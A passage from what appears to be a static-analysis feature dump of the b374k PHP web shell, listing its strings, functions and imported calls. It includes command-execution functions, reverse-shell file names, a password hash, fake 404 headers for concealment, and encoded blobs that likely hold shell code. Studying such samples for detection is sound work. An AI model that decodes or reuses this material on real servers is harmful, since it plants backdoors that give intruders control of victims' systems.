ajrtVwY4zVFZ/ikKzFh2YQ+BFn5Ji8Eo9DdYCEG+A5KTxXyjpUkBMVXvAHzofYS8L7C6iF1BtHhIRXvqMYNGeeY0K8hLaQMPyfNS+kDjs974NdhoVSpUFGZdxnJFe5HSvcD2UzqPrW95pwjL1HK+s7mkgZjWqADvcFOxZk4wPM/OQUwgfKpFytOLla8Jeh2wYfoV+olyNB3igU5+k61bOn3q/b+36PaNSQsSXeh4BDUnO5oNkCoiJV4AO6QCKbeALKBgpCDLavBSqhPB83DyWQi4i6fB1KJNEXeO9YrIqQKQUhOEo5G0mKUfQ+yD8gfWzrC7gN6FJUSJJXJ5vKFYqlcrdUbdDMOp3ABYmiGO78ahYNoDnYJMBbB8o74u4UTsphOxGHARDnUuoKAbcaB6ek136cfM31dSUPqq1K6AhsnJAWvYFHzJpi6WpcYEwHyAjO0CsYRSAqzGexC0hhVSJ2zbqgm/HnR4vM//u5lqPd/94r0l0Cd50ifB7Qff0Tw6YogILmJ25A0gOwT/BGiLDovHD/H8vC5Urk6SyzwkxiEZ2zeww7i6w8Ew+8Cyv434+gmzJKhya6CwiUihjh7KyKHCEQ5+REwLkErjj3h4r9kf6lETWpQFcY90D4F+x6E75DuY7CFEIjndo6TzPPeIqxFsYo6N2QsgHhGCTCa+VShUr9iN0vIc2T7EPkNrAKEMF4lH4j+9YE8GOwvi8046UbCcWgUHAt4RiSX6GqmsTOLy6f7XvHb+Qj+391/k7vzqhEidMDY0rOg6Pr5oIhsyCQEDmISKR0uOePmgppwPETNFTmZDifiY48RE45/RLQxYF7JucLLbWiKEfPuo2UwqDqE5WQlITI+k8CCyrQCWyLNfu8CWZTsDyzsaF5Y3eSB+Z7VYaugfqAMD7N0Reax/xBI8jxp68b9TOLTOygIWQKJI5C8YCQG6qucnoz7AgQpm7GdCIvxYwXd0MWxIBi+QmgQaP5oMfAaqRHV9QXPJeC9FXOjHukp0g0P3OPKZdDE62u5p3gr4Ydbd7p4UyA/aFceyPfOXRv8dHPqIc946lUNfncQ4IiqLlSRJ0GcZx42PgnU36E1jKIb6Pcl4D9shhKI9RVl1KjHdxogNBRs5w3JQL31pd+pJCygso7my1c3FDfziXPcZ1PYRc45WCYetaeXDMMhHTD4B+luxHkKjQR3LaE94JozHfrDheUsFljxPBjETaAE249XRc3slNFEcEMNKZ4RFmY2+toZRCaMfAyHsAnDdaj72c+vVhlBxao8o1uDczANZ7+FvwLroBR4USGUANuTV2OowSMTqVv291QR/6guN+6L4Ysh0waVNjJnT0Zs7NmZU7D/KMvHrQD2gCYZMjk3JZfthHZELfsVr3Md9Go68jDzmdMVhTEskETx4zwY2/3W7AZ1TUBr/N105jwd+cgjF7qUN2/5T3ztD50T1WGJ+N3QTQy6fT30xITXyhfXvh24ymmf//HpC/7pkomvtRNgCYSuRJK2H+t3/1oi9FdEdXktgaoDuAa6p8XLJrrgPN227pAH9XJ1XtcrBFkBj5fc9/ucBLg9emPzY+NxrO69HXNiMiYmC2LOD6x8jkaBbQNlAI8cJ+mhwGTBuIQe5F/QrTnaH/xEnd8T3KyB+fYzGT9egn2Qp86HB9MUVDXS+Pbp5YEiKYTyq0ugwARfzya9io13ZOfw92TrNqPEC15dQUuyItuwnFZi4yNNYaz5gZ4oeiu/Q8k3dfyBfvfT/0OIRDC/YXrVtUTovEPMFWAQXrDXR3Tp9CoIJY/u9QID3E1gSeysBPYBS+AcnsDQuz8LS93fr6nQbjAkifqfZIKI3+3ef+BM59tEENdg4abZOI1zjp1A3nI1oht+InQWHoZlfS/D1B0JryTwiBBPvCQeF2W3rvra9JE+eORdEbd/hdwuEkMyKBBYHAMjYfj8KuFc9DYYywaR4vGtNhvUUumEn0ifCcL6/mGNdXkl97+wq4dKn8/lu1r/lmh5F/bia7unH4W4VwUckshdRc0rbtfwN/byH0gQfxTTf+Z5/RzfrwMzeIN0C6lg7+EBefCAgnzz8haFIfPoEK9OOZ68P8b/qwfJc+htH5J9hjE6I5bTtc8y/wW9Lq28YMAzZBNYlbnkpDGSwrqwdaXKRRIjyQ/oL4W1BvOX+xAJo7puXHpKizNhFXipGHkHHXH0OtpgRLAZCQKsRMO2OSBG74zODWc4YuuwN0dLH1V9gcAoJ/HPrM77z+GquW4EyONhyate2ex6NsgzFmQQDj5IfGED/qMNQXRLQfOeTL3//Zu7Wv2dbYaa/NGdXsn4wZ6vp5CoWPEYl0GhPZdVoEPPeHhhGm/N1sMdYVednhU2QN9VGMfudwhbMwm1F8iCOvY+5BJcr6FzTGOyhgJNhny5CGI0WX39NhG9ILk6RHT1iWIGXP8SXzfA2IEKMMaSNRHdMqVjcYEOl1N6+v0nAXmHK8PbUuxjbKDouyqRdtjVa5KzsdGOgq1e3yaGifPuRIO5oDmNDIKWvjrraId2mk1zaXD9xa73HPa38KqNgx2VTQD4mAyexx0iA1sKHAZ2HGNfXjX3Z5hdMQvWqYyXDDPnlcHaAXH6TZNF81fr9MCl3l53M3+1jlNkOP32uut5uOzeUjATOAZ6t8pdEiAK+fB83n20zU8fbR6DDS+6cKskMolPHyUTIz59JGwe/UDzIU103xd+bYDKBV86+NSEbVpIiv4FGQdDXWAlETRwmBZEePTZgJb8/CVxvkO8fHXglnGORIxVxhRl7QP5knikyqcZcwTQl+4F32pIkn95uROXiHQLvj4R6WZBXoKu8MBE2oX1W+Idzrk8/u6xdLTn4LsEyfDOiFFSf54mEe8rXW6VeHeuOt68YYsOO+7DGXQxJmsWMO0qv4PtPsQKbCCSifB2F2ioKECAeBM48p8JnPwFONhi2v9TLIes5pjKm0b79+LmVvL/OnS+Z4jfih75D6PnI/rfcLH/cjRF1vbJd8+2auysZzj2LvWC/frpvwE=", "source.strings[42]": "87DF45", "source.strings[43]": "888888", "source.strings[44]": "\u003c/a\u003e\u003c/td\u003e\u003ctd title=", "source.strings[45]": "\u003c/div\u003e", "source.strings[46]": "\u003c/select\u003e\u003cnoscript\u003e\u003cinput type='button' value='Go !' class='inputzbut' onclick='massactgo();' /\u003e\u003c/noscript\u003e\u003c/form\u003e\u003c/td\u003e\u003ctd colspan=", "source.strings[47]": "\u003c/span\u003e\u003cbr /\u003e", "source.strings[48]": "\u003c/tbody\u003e", "source.strings[49]": "\u003c/td\u003e\u003c/tr\u003e", "source.strings[50]": "\u003c/td\u003e\u003ctd class='ce' title=", "source.strings[51]": "\u003c/td\u003e\u003ctd class='xpl' title=", "source.strings[52]": "\u003c/td\u003e\u003ctd\u003e", "source.strings[53]": "\u003ca href=", "source.strings[54]": "\u003cdiv class='notif'\u003e", "source.strings[55]": "\u003cinput id=", "source.strings[56]": "\u003clink rel='stylesheet' type='text/css' href=", "source.strings[57]": "\u003coption value='' disabled\u003e-\u003c/option\u003e", "source.strings[58]": "\u003coption value='compresstar'\u003ecompress (tar)\u003c/option\u003e\u003coption value='compresstargz'\u003ecompress (tar.gz)\u003c/option\u003e", "source.strings[59]": "\u003coption value='compresszip'\u003ecompress (zip)\u003c/option\u003e", "source.strings[60]": "\u003coption value='extracttar'\u003eextract (tar)\u003c/option\u003e\u003coption value='extracttargz'\u003eextract (tar.gz)\u003c/option\u003e", "source.strings[61]": "\u003coption value='extractzip'\u003eextract (zip)\u003c/option\u003e", "source.strings[62]": "\u003cscript type='text/javascript' src=", "source.strings[63]": "\u003cspan class='gaya'\u003e:\u003c/span\u003e", "source.strings[64]": "\u003cspan id=", "source.strings[65]": "\u003cspan id='titik1'\u003e\u003ca href=", "source.strings[66]": "\u003cspan id='titik2'\u003e\u003ca href=", "source.strings[67]": "\u003cspan\u003e", "source.strings[68]": "\u003ctable class='explore sortable'\u003e\u003cthead\u003e\u003ctr\u003e\u003cth style='width:24px;min-width:24px;' class='sorttable_nosort'\u003e\u003c/th\u003e\u003cth style='min-width:150px;'\u003ename\u003c/th\u003e\u003cth style='width:74px;min-width:74px;'\u003esize\u003c/th\u003e", "source.strings[69]": "\u003ctd class='ce'\u003e", "source.strings[70]": "\u003ctd style='text-align:center;'\u003e", "source.strings[71]": "\u003ctfoot\u003e\u003ctr class='cbox_selected'\u003e\u003ctd class='cbox_all'\u003e\u003cinput id='checkalll' type='checkbox' name='abox' class='css-checkbox' onclick='checkall();' /\u003e \u003clabel for='checkalll' class='css-label'\u003e\u003c/label\u003e\u003c/td\u003e\u003ctd\u003e\u003cform action=", "source.strings[72]": "\u003cth style='width:140px;min-width:140px;'\u003eowner:group\u003c/th\u003e", "source.strings[73]": "\u003cth style='width:80px;min-width:80px;'\u003eperms\u003c/th\u003e\u003cth style='width:150px;min-width:150px;'\u003emodified\u003c/th\u003e\u003cth style='width:200px;min-width:200px;' class='sorttable_nosort'\u003eaction\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e", "source.strings[74]": "\u003ctr\u003e\u003ctd style='text-align:center;text-indent:4px;'\u003e", "source.strings[75]": "\u003e+dir\u003c/a\u003e\u003c/span\u003e\u003cdiv id='titik1_form'\u003e\u003c/div\u003e", "source.strings[76]": "\u003e+dir\u003c/a\u003e\u003c/span\u003e\u003cdiv id='titik2_form'\u003e\u003c/div\u003e", "source.strings[77]": "\u003e+file\u003c/a\u003e | \u003ca href=", "source.strings[78]": "\u003e+file\u003c/a\u003e | \u003ca href=\\\"javascript:tukar('titik1','', 'mkdir','newfolder_1');\\\"\u003e+dir\u003c/a\u003e\u003c/span\u003e\u003cdiv id='titik1_form'\u003e\u003c/div\u003e", "source.strings[79]": "\u003e+file\u003c/a\u003e | \u003ca href=\\\"javascript:tukar('titik2',", "source.strings[80]": "\u003e\u003ca href=", "source.strings[81]": "\u003edel\u003c/a\u003e | \u003ca href=", "source.strings[82]": "\u003edel\u003c/a\u003e\u003c/span\u003e\u003cdiv id=", "source.strings[83]": "\u003edl\u003c/a\u003e\u003c/span\u003e\u003cdiv id=", "source.strings[84]": "\u003eedit\u003c/a\u003e | \u003ca href=", "source.strings[85]": "\u003efind\u003c/a\u003e | \u003ca href=", "source.strings[86]": "\u003ehex\u003c/a\u003e | \u003ca href=", "source.strings[87]": "\u003ehex\u003c/a\u003e | \u003ca href=\\\"javascript:tukar(", "source.strings[88]": "\u003eren\u003c/a\u003e | \u003ca href=", "source.strings[89]": "\u003eupl\u003c/a\u003e | \u003ca href=", "source.strings[90]": "\u003eupl\u003c/a\u003e | \u003ca href=\\\"javascript:tukar(", "source.strings[91]": "???????????", "source.strings[92]": "B36350", "source.strings[93]": "Content-disposition: attachment; filename=", "source.strings[94]": "Content-disposition: attachment; filename=\\", "source.strings[95]": "Content-length: ", "source.strings[96]": "Content-type: application/octet-stream", "source.strings[97]": "Directory ", "source.strings[98]": "EEEEEE", "source.strings[99]": "FF8000", "source.functions[0]": "adds", "source.functions[1]": "changepass", "source.functions[2]": "check_access", "source.functions[3]": "clean", "source.functions[4]": "copys", "source.functions[5]": "cp", "source.functions[6]": "cs", "source.functions[7]": "dlfile", "source.functions[8]": "exe", "source.functions[9]": "fgc", "source.imports[100]": "mssql_fetch_row", "source.imports[101]": "mssql_field_name", "source.imports[102]": "mssql_num_fields", "source.imports[103]": "mssql_num_rows", "source.imports[104]": "mssql_query", "source.imports[105]": "mysql_close", "source.imports[106]": "mysql_connect", "source.imports[107]": "mysql_fetch_row", "source.imports[108]": "mysql_field_name", "source.imports[109]": "mysql_num_fields", "source.imports[110]": "mysql_num_rows", "source.imports[111]": "mysql_query", "source.imports[112]": "natcasesort", "source.imports[113]": "notif", "source.imports[114]": "ob_end_clean", "source.imports[115]": "ob_get_contents", "source.imports[116]": "ob_start", "source.imports[117]": "oci_close", "source.imports[118]": "oci_connect", "source.imports[119]": "oci_execute", "source.imports[120]": "oci_fetch_row", "source.imports[121]": "oci_field_name", "source.imports[122]": "oci_num_fields", "source.imports[123]": "oci_num_rows", "source.imports[124]": "oci_parse", "source.imports[125]": "octdec", "source.imports[126]": "odbc_close", "source.imports[127]": "odbc_connect", "source.imports[128]": "odbc_exec", "source.imports[129]": "odbc_fetch_array", "source.imports[130]": "odbc_field_name", "source.imports[131]": "odbc_num_fields", "source.imports[132]": "odbc_num_rows", "source.imports[133]": "opendir", "source.imports[134]": "pack", "source.imports[135]": "passthru", "source.imports[136]": "pclose", "source.imports[137]": "pg_close", "source.imports[138]": "pg_connect", "source.imports[139]": "pg_fetch_row", "source.imports[140]": "pg_field_name", "source.imports[141]": "pg_num_fields", "source.imports[142]": "pg_num_rows", "source.imports[143]": "pg_query", "source.imports[144]": "php_uname", "source.imports[145]": "phpversion", "source.imports[146]": "pl", "source.imports[147]": "popen", "source.imports[148]": "posix_geteuid", "source.imports[149]": "posix_getgrgid", "source.imports[150]": "posix_getpwuid", "source.imports[151]": "posix_kill", "source.imports[152]": "pow", "source.imports[153]": "preg_match", "source.imports[154]": "preg_replace", "source.imports[155]": "print_r", "source.imports[156]": "proc_close", "source.imports[157]": "proc_open", "source.imports[158]": "rand", "source.imports[159]": "range", "source.imports[160]": "rawurldecode", "source.imports[161]": "rawurlencode", "source.imports[162]": "readdir", "source.imports[163]": "readfile", "source.imports[164]": "realpath", "source.imports[165]": "rename", "source.imports[166]": "rmdir", "source.imports[167]": "rmdirs", "source.imports[168]": "rs", "source.imports[169]": "rtrim", "source.imports[170]": "serialize", "source.imports[171]": "set_time_limit", "source.imports[172]": "setcookie", "source.imports[173]": "sha1", "source.imports[174]": "shell_exec", "source.imports[175]": "showcode", "source.imports[176]": "showdir", "source.imports[177]": "sizeof", "source.imports[178]": "sprintf", "source.imports[179]": "sql_close", "source.imports[180]": "sql_connect", "source.imports[181]": "sql_fetch_data", "source.imports[182]": "sql_field_name", "source.imports[183]": "sql_num_fields", "source.imports[184]": "sql_query", "source.imports[185]": "sqlite_close", "source.imports[186]": "sqlite_fetch_array", "source.imports[187]": "sqlite_field_name", "source.imports[188]": "sqlite_num_fields", "source.imports[189]": "sqlite_num_rows", "source.imports[190]": "sqlite_open", "source.imports[191]": "sqlite_query", "source.imports[192]": "sqlsrv_close", "source.imports[193]": "sqlsrv_connect", "source.imports[194]": "sqlsrv_fetch_array", "source.imports[195]": "sqlsrv_field_metadata", "source.imports[196]": "sqlsrv_num_fields", "source.imports[197]": "sqlsrv_num_rows", "source.imports[198]": "sqlsrv_query", "source.imports[199]": "ss", "source.imports[200]": "str_replace", "source.imports[201]": "str_split", "source.imports[202]": "strcmp", "source.imports[203]": "stripslashes", "source.imports[204]": "strlen", "source.imports[205]": "strpos", "source.imports[206]": "strrpos", "source.imports[207]": "strtolower", "source.imports[208]": "strtotime", "source.imports[209]": "strtoupper", "source.imports[210]": "substr", "source.imports[211]": "swd", "source.imports[212]": "system", "source.imports[213]": "time", "source.imports[214]": "touch", "source.imports[215]": "trim", "source.imports[216]": "ts", "source.imports[217]": "unlink", "source.imports[218]": "unserialize", "source.imports[219]": "urldecode", "source.imports[220]": "wordwrap", "source.imports[221]": "zip", "source.strings[100]": "HTTP/1.0 404 Not Found", "source.strings[101]": "HTTP_HOST", "source.strings[102]": "HTTP_USER_AGENT", "source.strings[103]": "Location: ", "source.strings[104]": "No items copied", "source.strings[105]": "No items deleted", "source.strings[106]": "No items modified", "source.strings[107]": "No items moved", "source.strings[108]": "QUERY_STRING", "source.strings[109]": "REMOTE_ADDR", "source.strings[110]": "SCRIPT_FILENAME", "source.strings[111]": "SERVER_SOFTWARE", "source.strings[112]": "SQLite3", "source.strings[113]": "Status: 404 Not Found", "source.strings[114]": "TMPDIR", "source.strings[115]": "Unable to compile using gcc", "source.strings[116]": "Unable to compile using javac", "source.strings[117]": "VVJNb9swDP0riQ6GBAjOetglheBD19uGHrpbkAKaRFcqZMmQ6HSB5/8+2mm+Lpb5yPf4SGndDtGgT5GDRDHisYfUrrpkhwBrxYZoofURLGtOWA1/+5SxKORi+1V9KlGKnbVYVd2lat1ZSqc/H2CQNSeQIwk4X3awn8UmzmzqMmh7ZPJqSozn/1U/R049PH46H4CDwro43xJXAPEPOq9Q7fYyyqzWD9Irm8zQQURZlK/PwXOABUuqEPZqcgpBDor9ePn1lCJS6mfSlgaWWjFt7fNhhnyhDGRyRmPExWVBjWCcju/AZFBsAV9nkEmjUrN5C4vQvzez2V4Cs5FOmRqhIPe7sBePGXDIceV3el9V85cPMqrLBsTo6wxdOsCdk7lIZiF7mnw+E3FrjaiNW+p4ey+yIRc3XauK00rgrnwRE5OQQO4v1CjGAqFdK0x945o4X3vdD8VRZnvTAPNxvG6UswAtMjEZjcbRVY9fYxbA376DNFDLKxlIbJLfv4kpzi9BTNvbF+AauHYFMU3iPw==", "source.strings[118]": "ZipArchive", "source.strings[119]": "\\$pt.class", "source.strings[120]": "\\$s_pass = \\", "source.strings[121]": "]*([a-fA-F0-9]*)[", "source.strings[122]": "]*;/is", "source.strings[123]": "_','','rename',", "source.strings[124]": "_'\u003e\u003ca href=", "source.strings[125]": "__form'\u003e\u003c/div\u003e", "source.strings[126]": "b374k ", "source.strings[127]": "b374k_included", "source.strings[128]": "b374k_rs", "source.strings[129]": "b374k_rs.", "source.strings[130]": "b374k_rs.exe", "source.strings[131]": "bright", "source.strings[132]": "buffer", "source.strings[133]": "chmod +x ", "source.strings[134]": "chmodok", "source.strings[135]": "copyok", "source.strings[136]": "curl --help", "source.strings[137]": "curl --version", "source.strings[138]": "d-M-Y H:i:s", "source.strings[139]": "dZThdqMgEIX/7zn7DvMC2jZ62t3HmQgaGkepCDFvvxeNis32xx3huwMYmUkwSvcvRWMtIfz+Fbb5CeC0gsvp/Y1iSEARQZGAMoJyBZ9WN/Rpm7ADoUWNrEw+T7TIbmeJLemhgNCUu4EdH2EekLwh47Sd0DcN9fuBX95U19GIpq+RpN946FSudKXziyIfLlC4PHnSn02r4Un05cm3ca2Nnn3yXPRc9NyTN0+jFXV8pXDO63gmBimvw0hQiuJH8ENLMnmS0h8sl9mW74Nmdc9FK8O5vQeC0iyc7fP4kX3w8UUOWwQTekJY2U2fhWJYwZTVuBooAa0hKAXIaJMMibeZLhEeh95dmeQK51ooBJfYHe64axLgMnY1LZoOPPRngg7shneWbyQAhW9sAjvudgtg4cCWW+OQ/EDXmAxFZTTNMTFwjIvHsFemf2FlKyHEFZzZmYrYk+vUysQoQwg0D6480CBmM5dm4H2+tAC+HLoUioMCjYBnsWUtzcAUn85OK3aFELRNTXslhHW+1ek8RWlwLA8+2KYxI7fZzXTKke6Pawcm6IBGR9A3FJsPj4tKeesr3Y156E2lqQ029f5b2IzCPhzWeT1wjh/Q2vLP6yttox+SPsqPR1Ic/ZD0933dKY7SpMFYgla0dsr2SlPGjLvmKgGmRgGbWXNIvIprgnZQt1gew46StkmO2f4RCp9A1DKjlnk6MmHUfLLYdhk+a7tc+cBCww8mbsA3pkNx2j3hxmgr3up9EprkHw==", "source.strings[140]": "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA8AAAAeCAYAAADzXER0AAAACXBIWXMAAAsSAAALEgHS3X78AAABP0lEQVQ4je2TsUoDQRCGv5m93RRBLBIQO/NOFgHJa4iiZUDwNUSx8J0s5SCFkkJy3M5aJBfwLrm7oI3gD8sWO9/+O+z8kud5AC6BC+CUbr0Bj8B9BlzHGK+KoghmpiklUkp7SVU9CiHceO9dBsyKohjEGMXMMLNWWETUzAbe+1kGjM1MzIyyLFvBSmYmwDgDSCltHc2sE1bV9V7BfRwblxxM/MM/gxeqmkSkNyQiCVgo8BBCWDnnkoigqq3LOZeGw+EKeMqAO+998N6fAyc9jHPgBZhXPX8C3XO5lm3q+f1Ixhh3QUCPSNbdReRb2g6KZP2yRiRjjK29vj7fNlupO/QFG/Cu4n0grL+ql9tkOm93FhF2PfxsA9bPtrCqIiJIzWUynVNFph4dyfP8fblcHpdlSTUkXVJVRqPRxx+N5BfD5OFvXtL9jAAAAABJRU5ErkJggg==", "source.strings[141]": "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA8AAAAeCAYAAADzXER0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAASdJREFUeNrsk0GKwjAYhZNJqYviQpDKLOcY3sOFIF5DFF0KgjeYAwizmDuNOxHcFrGlje9pA1KbNOqshvnh2YD58v6m75dxHIdCiAk0gt5Fc+2gDbQO8DNTSk1D1BtKSikoWxVF0U7TdJ5lmSI8BtfCARKsoFyw1poeLcBjwl0aEgqCwAma4n5yhC+AceSzqdD69RAD+zjedSBeqH/4CfiA74bgaG+o3HxQURR1sOgjnqpMDv+0ikZJkpzyPP9kwlbIaQgNsO55GO+hb2hp3vnI1Hl2XZT7xe+PJNbWYWgcyao7L+p22h4ayephdyPJVl3v+jFcuhNmg+tAazxvN9tA86m83H6+Fm5n3mpd49sSlDaYN3jJb8WFazMy2rftujb/yEieBRgAZHG/OeGef6MAAAAASUVORK5CYII=", "source.strings[142]": "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAKYSURBVDjLnZPJT1NRFMb5G1wDHV5boNiqdHrvFYolCAtsGSSWKpMFKhYqlDI6oAEKaVJwCIgSphaKtLYWCgSNBgRjMNHoxsSFS3cmJmA0NMTw+R6JKKZl4eJL7sm953fOd3JPHIC4WMpcppG5SGnZc8ZjVVF6QLn975sDgfaZmvg71oRJZIRUYcuAnq/2KWroGfm3QwEn2YpLVPPvOD2oiqj9yq/mGznegl56mx6T7ZbY1M6YAM0CuZkxT0b2Wg6QW/SsApRXDsotR+d6E9Y/h9DuqoCuJq0lKoDxqU1/pITGR27mBU4h+GEcTz5OY+ClA5JbyahYzof/9TBO9B/FcWcqpA4xU3We3GJ87ntnfO5meinMvruNnqcmXA2XoDVcCc0wCYkzBaZpA7ILRJ/2O2B87jA+QT9UeDRe8svZYAG8b/txc6kc9mA+yqayYPQXwvdmBEOrA5B2p0BtFIYOWKCm5RukWwZyXIbA+0F0LpaiKaBHmVsLw4we99ccsM8a8GClF5JOMcQdou8prULrgRmQo7KI0VcE13MrGv06lE5kodhzGvdWu2GdKkTVWC4DcELcJkKyXbCb1EhAVM//M0DVUNqP2qAJd1baUDaZjTMTeXAttsPi0cM0mgvHvA0NkxYk2QRIrieOsDmEmXttH0DfVfSluSToWmpD8bgOroUOWNw6VI7koGfOBuq6EqLLTNU6ojrmP5D1HVsjmrkYezGIrlA9LjKgnrlGXJlpgbCOD0EtD0QNN8I3cZqjAlhJr4rXpB1iNLhrYffUQWoT7yUKzbxqJlHLq0jc5JYmgHMunogKYJVqF7mTrPyfgktMRTMX/CrOq1gLF3fYNrLiX+Bs8MoTwT2fQPwXgBXHGL+TaIjfinb3C7cscRMIcYL6AAAAAElFTkSuQmCC", "source.strings[143]": "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAACXBIWXMAAAsSAAALEgHS3X78AAAEYElEQVRYw8VXS0xcVRj+z7kv5tF5MPfOo1AgkFBKoQPuFAyxstKkcWHjGhOjcacxujMxaqtx48b4iDExxiZuXBVdtEURN00qDBMgTUOmnTEMc+/ce4d5c+k957gZEKYCd5DSb3tOzv+d//0hcACO47hgsL07HA5fDIfDkz6ffxQAogDgblypMcZypVIpYRj6DVVVZ0zTSBNCyGFvo4MOMca8LMsjvb19r8uy8iLGOAIA+JA3KaVU1XV9OpVa/VrX9QSl1G6ZgM/ni5w7N/iuooSnMMZBOAIopQVN0767e3fls1KppDoigBCCrq6ukf7+gS9cLtfTh3nJAVi9Xr+dTCbf1LTcAmNsb3ibjXd394wPDQ1fE0UxfgzGAQCQIAid0Whs8uHDrflisZjZl8Dp052jw8PxazzP9cExA2PcHgopE7Va7Y9yuZR7hIDP54uMjj71gySJF+AxAWPcHgwGh3U9f92yrOoOAYwxF4+PvB8IBF9u0e02AFAHlbEDQRA63W43zWbXf2eMMQwA0NHROaoo4VdbeYgxZmUy6SuZTPojxthmK46QZeU1WQ5d2O4x3MDA4Ader3esFePp9IMrS0tLn2iaNieKIvH7A88ghHhHWYmQWxQltL6e/ZULheTe/v7+qwjhU60YX15e/pQQ22KMEsMwbrdKwuVyxQoF82eup6fvcigUesVJ7Bljm+n0g6vbxnc1HKLrrZFACHksy1rhBgfPv9fW1jbk8OePGP/3fIeE7fcHxhyQQBijOhePj3wIAHIrbt//Xmue4HmB586eHfgYAKSj/vz/eAJjLPAA4DlonhSLpe9VVfsxGAyGd8d8Y6OgUkrJdh8JBIIRjPFOY1NV7adAINgRCATeOKC8vejSpZfs5pa8+0MAUGSM7RmnlmXlZ2d/m7AsKw8AIEmSMjHx3KwkSUpTovEA4D8gwQkPAJXGpf2mZQAh1JzBpOlXGCHUjhCSW+zOFWzbdg6eEGzbXseVSnnxSRGoVMqLWNfNm42BctIghmHcxJqWu0UpOfEwUErVfF6bwYWCmdZ1Y/qkCei6Pm0YRhoTQkgqtfoVpdR0vGMhwKIoKZIkRSRJioiipCDkfJRTSo1UavVLQgjhG2wW83nt20gk+o6TnUAQxNDY2PgMY4w2yhILghByat80jW8Mw0jubESMMVaplJORSHRcEIQzDiYZ4jjOw/O8l+d5L8dxHtTcLPbB5mb9z0Ri4a16vV7ZsxNallWtVqt/xWKxixjj0GNJe0LuLSzMTxmGfv8/t+JarapubW3Ny7Ly7HGTsG373srK8lQ2u3Zn37UcAKBYLP5tWZtzPp9vUBDEM8egDWi1Wp1bXExMZbNrdw4UJrtIqLmcel0UJdvj8Z7HGLmPVuvEWFtb+zyRWHh7Y6Nw/yjilJNlpSFO5RcwxjGH4nRd1/VfdolTciR13CTPu8Lh8POyLE96vafiPM9HAWB7kS3btp2rVMpJ0zRvqKp6yzSNjBN5/g/C3ULDeIdIrQAAAABJRU5ErkJggg==", "source.strings[144]": "dir : ", "source.strings[145]": "display_errors", "source.strings[146]": "fb621f5060b9f65acf8eb4232e3024140dea2b34", "source.strings[147]": "file : ", "source.strings[148]": "gcc --help", "source.strings[149]": "gcc --version", "source.strings[150]": "get_magic_quotes_gpc", "source.strings[151]": "hexedit=", "source.strings[152]": "html_errors", "source.strings[153]": "java -help", "source.strings[154]": "java -version", "source.strings[155]": "javac ", "source.strings[156]": "javac -help", "source.strings[157]": "javac -version", "source.strings[158]": "javascript:tukar(", "source.strings[159]": "javascript:tukar('titik1','', 'mkdir','newfolder_1');", "source.strings[160]": "javascript:tukar('titik2',", "source.strings[161]": "lVRNb9swDD2nQP+DkJM9ZHaTDdjWIsOwYYcBA1osvXXBoMiMrdWWBIn5Qpr/PkqWXXftpQfbEvlEPj5SznNWIRp3medCF5CVWpc1ZEI3uclX7z68v3/rKqjr/PxMNkZbZH/5lmdSZ2+unpoUYLCdn5nNqpaCiZo7x0KMP9Ydz89GxsotR2AOORJgLRWvI8wggz2CKhy7rSzwwuP7Az+U2eACyd4w6a6GrusNPvr0BgMDcrccDCZPz06eHUiPWEmXSTenyGFJxrmPdGpDfbnegrWygEHcrZYFsxuVpIHnCO2hXYxWB4S7JVuxOVOwY2H7cfpptrxq/VIhE+SkPL7MZJVGx66SNSTi8/wiZTHWiFhkOysRktXkYiI6aLCv642rkt70YsxT+LRvwVFUyfe9AINSKwbpETJSUZEWXNzfWi6AwgWwf7XVx3pjx0LZDZcqIf2kKqlQbkvXiuAr8+MQcrd+JpqCeI3zlVS5q8bBJdfJ4uAQmqwEvLHagMVDMtYuU7yBcZqh/ql3YL9xR4QyqQrYX6+T8U6qcerlOcao9Bm3fGO2nbeGgWNhaNklE1opEAjFb9VmH/Rn5wl8pb2LMi60uAdkVexdu42+vsNE39ec1aBKrObzaRyBUbgKc5pVhBJsZrh1QJuAvrtYdj1ZgKV5iqlcl2pgTHygDu25uIwL37Wu2W0/oXbA/iczey2ZVjhpCBtc0+Ug8UAEaSZswOv0shTs4YG9zGd4C0vpy668+gNzP8pPLmipe+zQ3oPJ392QzkQjJcD/Uujgr41C2YA/Hpc0UbAHkdDwpPFfQWrR5E5jwaSzeUZt4ol0CTx69ogu/V/FPGfYw6cZXR/r22dm/fJRxvB6xe2k5/QP", "source.strings[162]": "lVRtT9swEP6c/IpgpmGrwaGFaVJZKiEIE9qAqu20D8Cq1LkmEalt2S6Ufz87SV9ATGiqWveee3vOd+f9vWipVTQreQT8KZAvphDc3w8KY6TuRxETGdBciLwCysQiktHs+OvJ46EuoKoiv1xIoUygINTLmVSCgdah0KF+sV/BHsGEplyAL2OE/ML9ZDAPamfMSN/3nE+89aVDIYFjFtYm8UQtbWSTiaV5ZXQ1TBwMSr0Hl/wtSnxPgVkqHjiUNhGpgjTDpLOGbLQdaCENJn5NN2WmFLzhW84DoSlPF7AXI26Qhbx5zOi8rIAL6+F5Vm/LN7DACFb19UyS0XW8MqAWp8NxNz74NPx9MTg4bbUWOq0boIvgsAy+fUYdbRSekw4KBrtCbyvZPFBpcNmfC5s6cDflJM+ol/r0lGWlgD3h7lHvxPHyYMVAmkYrU61rrI3iucpsCViRwVEDeLNYAdWQKlZgxLL7AN/9udcPHYJCFc6rNNfO4Or7ze0oOT8bJ6Rxs4FmbYT2umRqClrqrFR4RnMllhJ3CVnbuAtjxRtlq7ONAZ7hdT9aeEvaOrvRqOdJkZ2kSxOkPKsrsv9dTW0oJ/mbIEE7FpeplZpur3P1NzOD7jnqWJI5GPbsxgMNkJ/Htsk0VfmT395cTuK450Y6zu+6Dz5UO/jxFvcKe/ac3uaHVWlsuXY/Sm6wJL6Om7WhzYFb6exyenWTTNqdouPb8x/T8WSUnF1bF1uYcQohN/bj259TZ7TrMh0lv8bJ2cXFKLQZ35DW1E5ghjE6ovUHhdLdtqZVaUeZ4y+vPFw5btAC2znBOTCDcdF4bIfMLT7VFYB03pumvbdBnm6ag+rHpXkfgn7QxobMNsA1bdP3D8xRZ3dg2vXVxG/9H